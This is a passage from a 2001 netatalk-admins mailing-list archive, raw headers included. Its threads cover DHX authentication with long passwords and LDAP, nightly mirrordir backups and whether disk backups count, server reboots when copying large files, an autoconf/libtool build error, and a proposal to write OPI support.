	for netatalk.administrators-members@umich.edu; Mon, 30 Jul 2001 05:45:17 -0400 (EDT)
Received: from hammail1.truenorth.com (h-213.61.138.102.host.de.colt.net [213.61.138.102])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id FAA04510
	for <netatalk-admins@umich.edu>; Mon, 30 Jul 2001 05:45:14 -0400 (EDT)
Received: from fcb-wilkens.com ([170.200.66.15]) by
          hammail1.truenorth.com (Netscape Messaging Server 4.15) with
          ESMTP id GHA5RA00.H0S; Mon, 30 Jul 2001 11:45:10 +0200 
Sender: hollow@easycomeeasygo.mr.itd.umich.edu
Message-ID: <3B652CA5.DB2C41BE@fcb-wilkens.com>
Date: Mon, 30 Jul 2001 11:45:09 +0200
From: Harald Wagener <hwagener@fcb-wilkens.com>
Organization: FCB Wilkens
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.2-SGI_XFS_1.0 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
CC: Chris Herrmann <chris@faredge.com.au>, netatalk-admins@umich.edu
Subject: Re: passwords longer than 8 characters
References: <B78AF74D.F1E5%Thomas.Kaiser@phg-online.de>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit

Thomas Kaiser wrote:

> If a Mac contants an AFP server then the server will answer the macs
> FPGetSrvrInfo request with a list of UAMs it can handle. Some of them are
> built-in, some of them may not. So the AppleShare client looks into the
> system folder for UAMs. If there is an UAM, that matches the servers then it
> will be used.

[snip] 

> There are also Patches available that can be used with AppleShare IP.
> Afterwards you can authenticate via PGP with your server. :-)
> 
> >> Is it in the uam from netatalk, or is it built in into the chooser?
> 
> You have to search on both ends of the cable ;-)
> 
> With AppleShare Client 3.6 (or 3.7? -- can't remember) Apple supported
> third-party UAMs. What you mean is the servers side, I think. When using the
> dhx uam with netatalk and recent AppleShare Clients on your Macs (3.8.6 or
> 3.8.8) then you will use automatically DHX authentication between client and
> server. So you will be able to use longer passwords.
> 
> >> If it is part of the uam, it would be nice to lift that limitation,
> >> because then one would be able to authenticate against external services
> >> (i.e., LDAP) with longer passwords.
> 
> This can be done already.
>
> > It's a two part thing - you need to use dhx authentication, **and** you need
> > to be using the latest version of appletalk (see earlier email from
> > someone).

But You cannot use DHX if authentication is passed to some external mechanism by 
PAM. And if You put uams_dhx.o in the list of allowable methods, the chooser
(appleshare client) will 
choose that of it“s own, and authentication against the ldap server won't work
anymore. 
Or am I wrong here?

[snip]
> 
> Regards,
> 
> Thomas

Regards,
	Harald

-- 
Harald Wagener      |                                Systemadministrator 
FCB/Wilkens GmbH    |                              Tel.:+49-40-2881-1252 
An der Alster 42    |                              Fax.:+49-40-2881-1263 
20099 Hamburg       |                         http://www.fcb-wilkens.com

From netatalk.administrators-errors@umich.edu  Mon Jul 30 06:41:15 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id GAA15188
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 30 Jul 2001 06:41:14 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id GAA06852
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 30 Jul 2001 06:41:14 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA06842
	for netatalk.administrators-members@umich.edu; Mon, 30 Jul 2001 06:41:14 -0400 (EDT)
Received: from mailout06.sul.t-online.de (mailout06.sul.t-online.com [194.25.134.19])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id GAA06788
	for <netatalk-admins@umich.edu>; Mon, 30 Jul 2001 06:41:08 -0400 (EDT)
Received: from fwd03.sul.t-online.de 
	by mailout06.sul.t-online.de with smtp 
	id 15RATz-0006Mw-0A; Mon, 30 Jul 2001 12:41:07 +0200
Received: from [192.168.0.33] (07031811601-0001@[217.2.93.106]) by fmrl03.sul.t-online.com
	with esmtp id 15RATn-1CO0H2C; Mon, 30 Jul 2001 12:40:55 +0200
Mime-Version: 1.0
Message-Id: <a05100300b78aea8f710d@[192.168.0.33]>
Date: Mon, 30 Jul 2001 12:42:34 +0200
To: netatalk-admins@umich.edu
From: =?iso-8859-1?Q?J=FCrgen?= Weltzer <weltzer@werbeagentur-weltzer.de>
Subject: RE: Backup Software Question
Content-Type: text/plain; charset="iso-8859-1" ; format="flowed"
X-Sender: 07031811601-0001@t-dialin.net
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id GAA15188

I make it like this:
buying a second PC - with linux, netatalk and a hard drive like the 
server volume.
With "copydir" (from freshmeet) (the package is called "mirrordir") 
and cron all my files are backuped automaticly every night - older 
versions are kept for some days (you can define it in seconds).
-- 
Viele Grüße
Jürgen Weltzer

- - - - - - - - - - - - - - - - - - -
Werbeagentur Weltzer
Max-Eyth-Straße 8
71065 Sindelfingen
Tel. +49 (0) 70.31.81.32.31
Fax +49 (0) 70.31.81.16.01
http://www.w-ww.de/
- - - - - - - - - - - - - - - - - - -

Mit am besten lernt man die Menschen kennen, indem man sie beobachtet,
wenn es irgendwo etwas gratis gibt. (A.L.)

From netatalk.administrators-errors@umich.edu  Mon Jul 30 10:34:43 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA22409
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 30 Jul 2001 10:34:43 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id KAA21771
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 30 Jul 2001 10:34:29 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA21756
	for netatalk.administrators-members@umich.edu; Mon, 30 Jul 2001 10:34:29 -0400 (EDT)
Received: from mail1.abcs.com ([206.160.232.150])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA21703
	for <netatalk-admins@umich.edu>; Mon, 30 Jul 2001 10:34:27 -0400 (EDT)
Received: from carl (unverified [206.230.114.80]) by mail1.abcs.com
 (Rockliffe SMTPRA 4.5.4) with SMTP id <B0009874494@mail1.abcs.com>;
 Mon, 30 Jul 2001 09:38:22 -0500
From: Carl Walters <cwalters@moorelangen.com>
Date: Mon, 30 Jul 2001 14:34:29 GMT
Message-ID: <20010730.14342937@mis.configured.host>
Subject: RE: file >400MB
To: Chris Herrmann <chris@faredge.com.au>, netatalk-admins@umich.edu
In-Reply-To: <004c01c11883$8defcd10$c40e8ec6@faredge.com.au>
References: <004c01c11883$8defcd10$c40e8ec6@faredge.com.au>
X-Mailer: Mozilla/3.0 (compatible; StarOffice/5.2;Win32)
X-Priority: 3 (Normal)
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id KAA22409

I had exactly this same problem with any netatalk/linux combination 
until I removed an Adaptec 19160 SCSI card. It was an instant fix.


>>>>>>>>>>>>>>>>>> Original Message <<<<<<<<<<<<<<<<<<

On 7/29/2001, 6:09:43 PM, "Chris Herrmann" <chris@faredge.com.au> wrote 
regarding RE: file >400MB:


> Nope - when setting up our netatalk server we had to copy around 40G of
> stuff. was fast, no problems / crashes. Interestingly, it's fairly 
processor
> intensive - afpd was using around 10 - 20% processor time on a PIII866.
> Would suggest checking network cards - try giving it a really heavy load
> using samba / nfs / anything and see what happens.

> -----Original Message-----
> From: Luk Vermeylen [mailto:luk.vermeylen@pandora.be]
> Sent: Friday, 27 July 2001 09:01
> To: netatalk
> Subject: file >400MB


> Is there a problem for copying files (or directories) bigger than 400MB 
(or
> approx 350) to a netatalk server?
> When I copy a dir >400MB from a  G4 (mac OS9), it causes a reboot from my
> linux server (RH7.1, latest netatalk)


> --
> Luk Vermeylen
> Putsebaan 84
> 2040 Antwerpen 4
> luk.vermeylen@pandora.be
> +32(0)32950012

From netatalk.administrators-errors@umich.edu  Mon Jul 30 15:27:13 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA05883
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 30 Jul 2001 15:27:13 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id PAA12382
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 30 Jul 2001 15:27:13 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA12377
	for netatalk.administrators-members@umich.edu; Mon, 30 Jul 2001 15:27:12 -0400 (EDT)
Received: from ns.htc.net (ns.htc.net [208.165.194.11])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA12020
	for <netatalk-admins@umich.edu>; Mon, 30 Jul 2001 15:26:58 -0400 (EDT)
Received: from as200.trb.htc.net ([206.102.189.4])
	by ns.htc.net (8.9.3/8.9.3) with ESMTP id OAA315832
	for <netatalk-admins@umich.edu>; Mon, 30 Jul 2001 14:26:57 -0500 (CDT)
Received: by as200.trb.htc.net (8.8.8/1.1.22.3/31Mar00-1102PM)
	id OAA0000002161; Mon, 30 Jul 2001 14:26:53 -0500 (CDT)
From: "Troy R. Baldwin" <tbaldwin@ns.htc.net>
Message-Id: <200107301926.OAA0000002161@as200.trb.htc.net>
Subject: aclocal: configure.in: 23: macro `AM_PROG_LIBTOOL' not found in library
To: netatalk-admins@umich.edu (netatalk)
Date: Mon, 30 Jul 2001 14:26:53 -0500 (CDT)
X-Mailer: ELM [version 2.5 PL1]
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Anyone else getting this error from the CVS version of netatalk?

aclocal: configure.in: 23: macro `AM_PROG_LIBTOOL' not found in library

Any help would be greatly appreciated.

Sincerely,
Troy R. Baldwin


From netatalk.administrators-errors@umich.edu  Mon Jul 30 16:10:05 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA07409
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 30 Jul 2001 16:10:05 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id QAA15776
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 30 Jul 2001 16:10:05 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA15748
	for netatalk.administrators-members@umich.edu; Mon, 30 Jul 2001 16:10:04 -0400 (EDT)
Received: from gnu.in-berlin.de (gnu.in-berlin.de [192.109.42.4])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id QAA15691
	for <netatalk-admins@umich.edu>; Mon, 30 Jul 2001 16:10:03 -0400 (EDT)
Received: from hirsch.in-berlin.de (root@hirsch.colt.in-berlin.de [213.61.118.6])
	by gnu.in-berlin.de (8.10.1/8.10.1) with ESMTP id f6UKA1N00215
	for <netatalk-admins@umich.edu>; Mon, 30 Jul 2001 22:10:01 +0200 (CEST)
	(envelope-from srittau@jroger.in-berlin.de)
Received: (from uucp@localhost)
	by hirsch.in-berlin.de (8.11.1/8.11.1/Debian 8.11.0-6) with UUCP id f6UKA1w31646
	for netatalk-admins@umich.edu; Mon, 30 Jul 2001 22:10:01 +0200
X-Envelope-From: srittau@jroger.in-berlin.de
X-Envelope-To: netatalk-admins@umich.edu
Received: from srittau by jroger.in-berlin.de with local (Exim 3.31 #1 (Debian))
	id 15RJ67-0002Co-00
	for <netatalk-admins@umich.edu>; Mon, 30 Jul 2001 21:53:03 +0200
Date: Mon, 30 Jul 2001 21:52:06 +0200
To: netatalk <netatalk-admins@umich.edu>
Subject: Re: aclocal: configure.in: 23: macro `AM_PROG_LIBTOOL' not found in library
Message-ID: <20010730215206.A8353@jroger.in-berlin.de>
Mail-Followup-To: netatalk <netatalk-admins@umich.edu>
References: <200107301926.OAA0000002161@as200.trb.htc.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <200107301926.OAA0000002161@as200.trb.htc.net>
User-Agent: Mutt/1.3.18i
From: Sebastian Rittau <srittau@jroger.in-berlin.de>

On Mon, Jul 30, 2001 at 02:26:53PM -0500, Troy R. Baldwin wrote:

> Anyone else getting this error from the CVS version of netatalk?
> 
> aclocal: configure.in: 23: macro `AM_PROG_LIBTOOL' not found in library

Which version of autoconf are you using? 2.13 or 2.50? Which version
of automake? Do you have libtool installed?

 - Sebastian


From netatalk.administrators-errors@umich.edu  Mon Jul 30 16:54:55 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA10563
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 30 Jul 2001 16:54:55 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id QAA09432
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 30 Jul 2001 16:54:55 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA09415
	for netatalk.administrators-members@umich.edu; Mon, 30 Jul 2001 16:54:54 -0400 (EDT)
Received: from mailout04.sul.t-online.de (mailout04.sul.t-online.com [194.25.134.18])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id QAA09357
	for <netatalk-admins@umich.edu>; Mon, 30 Jul 2001 16:54:53 -0400 (EDT)
Received: from fwd06.sul.t-online.de 
	by mailout04.sul.t-online.de with smtp 
	id 15RK3t-00048s-0E; Mon, 30 Jul 2001 22:54:49 +0200
Received: from server.linau.de (320064501249-0002@[217.4.64.21]) by fmrl06.sul.t-online.com
	with esmtp id 15RK3p-0Pfs7kC; Mon, 30 Jul 2001 22:54:45 +0200
Received: from [192.168.2.2] (helo=[192.168.2.2])
	by server.linau.de with esmtp (Exim 3.12 #1 (Debian))
	id 15RK3C-00021i-00
	for <netatalk-admins@umich.edu>; Mon, 30 Jul 2001 22:54:06 +0200
Mime-Version: 1.0
Message-Id: <p0431010eb78b791e1ad1@[192.168.2.2]>
In-Reply-To: <a05100300b78aea8f710d@[192.168.0.33]>
References: <a05100300b78aea8f710d@[192.168.0.33]>
X-Mailreader: Eudora 4.3.1 Macintosh
Date: Mon, 30 Jul 2001 22:52:13 +0200
To: netatalk-admins@umich.edu
From: Christian Schmidt <ChriSchmiLi@gmx.de>
Subject: Re: Backup Software Question
Content-Type: text/plain; charset="iso-8859-1" ; format="flowed"
X-Sender: 320064501249-0002@t-dialin.net
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id QAA10563

Jürgen Weltzer wrote:

>  buying a second PC - with linux, netatalk and a hard drive like the
>  server volume.
>  With "copydir" (from freshmeet) (the package is called "mirrordir")
>  and cron all my files are backuped automaticly every night - older
>  versions are kept for some days (you can define it in seconds).

Well, a backup stored on a HD isn't a real backup IMHO, is it?
What if your backup-HD crashes?

Yours,
Christian
-- 
Christian Schmidt
ChriSchmiLi@gmx.de

From netatalk.administrators-errors@umich.edu  Mon Jul 30 17:08:09 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA11413
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 30 Jul 2001 17:08:09 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id RAA26891
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 30 Jul 2001 17:08:09 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA26878
	for netatalk.administrators-members@umich.edu; Mon, 30 Jul 2001 17:08:09 -0400 (EDT)
Received: from ns.htc.net (ns.htc.net [208.165.194.11])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA26852
	for <netatalk-admins@umich.edu>; Mon, 30 Jul 2001 17:08:08 -0400 (EDT)
Received: from as200.trb.htc.net ([206.102.189.4])
	by ns.htc.net (8.9.3/8.9.3) with ESMTP id QAA328254;
	Mon, 30 Jul 2001 16:08:06 -0500 (CDT)
Received: by as200.trb.htc.net (8.8.8/1.1.22.3/31Mar00-1102PM)
	id QAA0000002390; Mon, 30 Jul 2001 16:07:57 -0500 (CDT)
From: "Troy R. Baldwin" <tbaldwin@ns.htc.net>
Message-Id: <200107302107.QAA0000002390@as200.trb.htc.net>
Subject: Re: aclocal: configure.in: 23: macro `AM_PROG_LIBTOOL' not found in library
To: srittau@jroger.in-berlin.de (Sebastian Rittau)
Date: Mon, 30 Jul 2001 16:07:56 -0500 (CDT)
Cc: netatalk-admins@umich.edu (netatalk)
In-Reply-To: <20010730215206.A8353@jroger.in-berlin.de> from "Sebastian Rittau" at Jul 30, 2001 09:52:06 PM
X-Mailer: ELM [version 2.5 PL1]
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

I am running Linux 6.2
autoconf 2.5
automake 1.4-p4
libtool 1.3.5 (also tried 1.3.4)

--TRBo
> 
> On Mon, Jul 30, 2001 at 02:26:53PM -0500, Troy R. Baldwin wrote:
> 
> > Anyone else getting this error from the CVS version of netatalk?
> > 
> > aclocal: configure.in: 23: macro `AM_PROG_LIBTOOL' not found in library
> 
> Which version of autoconf are you using? 2.13 or 2.50? Which version
> of automake? Do you have libtool installed?
> 
>  - Sebastian
> 
> 


From netatalk.administrators-errors@umich.edu  Mon Jul 30 17:15:51 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA12162
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 30 Jul 2001 17:15:51 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id RAA07080
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 30 Jul 2001 17:15:51 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA07066
	for netatalk.administrators-members@umich.edu; Mon, 30 Jul 2001 17:15:50 -0400 (EDT)
Received: from austin-jump.vircio.com ([216.30.106.234])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA07032
	for <netatalk-admins@umich.edu>; Mon, 30 Jul 2001 17:15:49 -0400 (EDT)
Received: (qmail 4667 invoked by uid 104); 30 Jul 2001 21:15:49 -0000
Received: from cwg@deepeddy.com by austin-jump.vircio.com with qmail-scanner-0.90 (uvscan: v4.1.40/v4150. . Clean. Processed in 0.473115 secs); 30/07/2001 16:15:48
Received: from deepeddy.vircio.com ([10.1.2.1]) (envelope-sender <cwg@deepeddy.com>)
          by funinacapulco.mr.itd.umich.edu (qmail-ldap-1.03) with SMTP
          for <netatalk-admins@umich.edu>; 30 Jul 2001 21:15:48 -0000
Received: (qmail 28491 invoked from network); 30 Jul 2001 21:15:47 -0000
Received: from deepeddy.vircio.com (HELO deepeddy.com) (cwg@[10.1.2.1]) (envelope-sender <cwg@deepeddy.com>)
          by deepeddy.vircio.com (qmail-ldap-1.03) with SMTP
          for <ChriSchmiLi@gmx.de>; 30 Jul 2001 21:15:47 -0000
X-Mailer: exmh version 2.2_20000822 06/23/2000 with nmh-1.0.4
To: Christian Schmidt <ChriSchmiLi@gmx.de>
Cc: netatalk-admins@umich.edu
Subject: Re: Backup Software Question 
In-Reply-To: <p0431010eb78b791e1ad1@[192.168.2.2]> 
References: <a05100300b78aea8f710d@[192.168.0.33]> <p0431010eb78b791e1ad1@[192.168.2.2]>
X-Url: http://www.DeepEddy.Com/~cwg
X-Image-Url: http://www.DeepEddy.Com/~cwg/chris.gif
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="==_Exmh_643383454P";
	 micalg=pgp-sha1; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7bit
Date: Mon, 30 Jul 2001 16:15:47 -0500
Message-ID: <28487.996527747@deepeddy.com>
From: Chris Garrigues <cwg@deepeddy.com>

--==_Exmh_643383454P
Content-Type: text/plain; charset=us-ascii

> From:  Christian Schmidt <ChriSchmiLi@gmx.de>
> Date:  Mon, 30 Jul 2001 22:52:13 +0200
>
> J=FCrgen Weltzer wrote:
> 
> >  buying a second PC - with linux, netatalk and a hard drive like the
> >  server volume.
> >  With "copydir" (from freshmeet) (the package is called "mirrordir")
> >  and cron all my files are backuped automaticly every night - older
> >  versions are kept for some days (you can define it in seconds).
> 
> Well, a backup stored on a HD isn't a real backup IMHO, is it?
> What if your backup-HD crashes?

what if your tape becomes unreadable?

How is a backup on a hard disk not a backup?

chris

-- 
Chris Garrigues                 http://www.DeepEddy.Com/~cwg/
virCIO                          http://www.virCIO.Com
4314 Avenue C                   
Austin, TX  78751-3709		+1 512 374 0500

  My email address is an experiment in SPAM elimination.  For an
  explanation of what we're doing, see http://www.DeepEddy.Com/tms.html 

    Nobody ever got fired for buying Microsoft,
      but they could get fired for relying on Microsoft.



--==_Exmh_643383454P
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: Exmh version 2.2_20000822 06/23/2000

iD8DBQE7Zc6DK9b4h5R0IUIRArcsAJ9lekEsN0qzQLWeuGwZv1XGtncaVQCfZbxl
6/z6lQW3zn8b+Y0O5HTNNCg=
=mp0R
-----END PGP SIGNATURE-----

--==_Exmh_643383454P--

From netatalk.administrators-errors@umich.edu  Mon Jul 30 17:20:30 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA12434
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 30 Jul 2001 17:20:30 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id RAA24956
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 30 Jul 2001 17:20:30 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA24939
	for netatalk.administrators-members@umich.edu; Mon, 30 Jul 2001 17:20:29 -0400 (EDT)
Received: from Ceres.digitalgraphics.net (digitalgraphics.net [216.133.71.226])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA24909
	for <netatalk-admins@umich.edu>; Mon, 30 Jul 2001 17:20:28 -0400 (EDT)
Received: from cx448422-b.wwck1.ri.home.com (cx448422-b.wwck1.ri.home.com [24.18.198.105])
	by Ceres.digitalgraphics.net (8.9.3/8.9.3) with SMTP id RAA25300
	for <netatalk-admins@umich.edu>; Mon, 30 Jul 2001 17:49:37 -0400 (EDT)
	(envelope-from leeb@digitalgraphics.net)
To: netatalk-admins@umich.edu (Netatalk List)
Subject: OPI
From: leeb@digitalgraphics.net (Lee Blevins)
Date: Mon, 30 Jul 2001 17:20:26 -0400
Message-ID: <1exdbt2.16ryumw2zovpwM@cx448422-b.wwck1.ri.home.com>
Organization: Digital Graphics, Inc.
User-Agent: MacSOUP/2.4 (unregistered for 188 days)

I'm ready to pitch in my remedial c programing talents to start the ball
rolling on OPI.

I suggest the following to make this easy:

1. Standalone code that is not incorporated into Netatalk yet. 
   We just get the basics of scanning a postscript file for OPI 
   comments and blending the image into a final postscript file.

2. Limted file format support at first.
   I'm suggesting EPS, TIFF and Scitex CT as the only files 
   supported at first. File format support should be modular in the 
   code so others can be added later without completely rewriting.

3. Composite support only.
   To simplify this project I suggest it be limited to composite
   postscrip only at first. Making separations is complex and most rips
   these days are headed towards inrip seps. 

I must stress that my c is a bit rusty and remedial might be stretching
the truth ever so slightly. 

Anybody interested?

From netatalk.administrators-errors@umich.edu  Mon Jul 30 17:24:21 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA12503
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 30 Jul 2001 17:24:21 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id RAA01756
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 30 Jul 2001 17:24:21 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA01738
	for netatalk.administrators-members@umich.edu; Mon, 30 Jul 2001 17:24:20 -0400 (EDT)
Received: from bofh.concordia.ca (bofh.Concordia.CA [132.205.120.71])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA01296
	for <netatalk-admins@umich.edu>; Mon, 30 Jul 2001 17:24:20 -0400 (EDT)
Received: from rich by bofh.concordia.ca with local (Exim 3.22 #2)
	id 15RKWC-0003Ea-00
	for netatalk-admins@umich.edu; Mon, 30 Jul 2001 17:24:04 -0400
Date: Mon, 30 Jul 2001 17:24:04 -0400
From: Rich Lafferty <rich@alcor.concordia.ca>
To: netatalk-admins@umich.edu
Subject: Re: Backup Software Question
Message-ID: <20010730172404.O12217@lafferty.ca>
Mail-Followup-To: netatalk-admins@umich.edu
References: <a05100300b78aea8f710d@[192.168.0.33]> <p0431010eb78b791e1ad1@[192.168.2.2]> <28487.996527747@deepeddy.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <28487.996527747@deepeddy.com>; from cwg@deepeddy.com on Mon, Jul 30, 2001 at 04:15:47PM -0500
X-PGP-Key: available on keyserver.pgp.com and mirrors
Sender: Rich Lafferty <rich@bofh.concordia.ca>

On Mon, Jul 30, 2001 at 04:15:47PM -0500, Chris Garrigues (cwg@deepeddy.com) wrote:
> > From:  Christian Schmidt <ChriSchmiLi@gmx.de>
> > Date:  Mon, 30 Jul 2001 22:52:13 +0200
> >
> > J=FCrgen Weltzer wrote:
> > 
> > >  buying a second PC - with linux, netatalk and a hard drive like the
> > >  server volume.
> > >  With "copydir" (from freshmeet) (the package is called "mirrordir")
> > >  and cron all my files are backuped automaticly every night - older
> > >  versions are kept for some days (you can define it in seconds).
> > 
> > Well, a backup stored on a HD isn't a real backup IMHO, is it?
> > What if your backup-HD crashes?
> 
> what if your tape becomes unreadable?

Then you get the tape from the (day, week, month) prior from offsite
storage. How many hard drives are you planning on buying?
 
> How is a backup on a hard disk not a backup?

Well, it's not particularly useful for disaster recovery, only for
recovering from user error, and the usual goal of a backup plan is to
insure against data loss from both disasters and user error. Disaster
recovery tends to be the one that's crucial to keeping a business running,
though, and it's also the trickier one to manage, so it tends to get
priority, at least in an enterprise setting.

  -Rich

-- 
Rich Lafferty --------------+-----------------------------------------------
 Montreal, Quebec, Canada   |  "Do not dangle the mouse by the cord or
 http://www.lafferty.ca/    |   throw it at coworkers."  -- SGI Indy manual
rich@lafferty.ca -----------+-----------------------------------------------

From netatalk.administrators-errors@umich.edu  Mon Jul 30 17:25:05 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA12520
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 30 Jul 2001 17:25:05 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id RAA03033
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 30 Jul 2001 17:25:05 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA03014
	for netatalk.administrators-members@umich.edu; Mon, 30 Jul 2001 17:25:04 -0400 (EDT)
Received: from gnu.in-berlin.de (gnu.in-berlin.de [192.109.42.4])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA02965
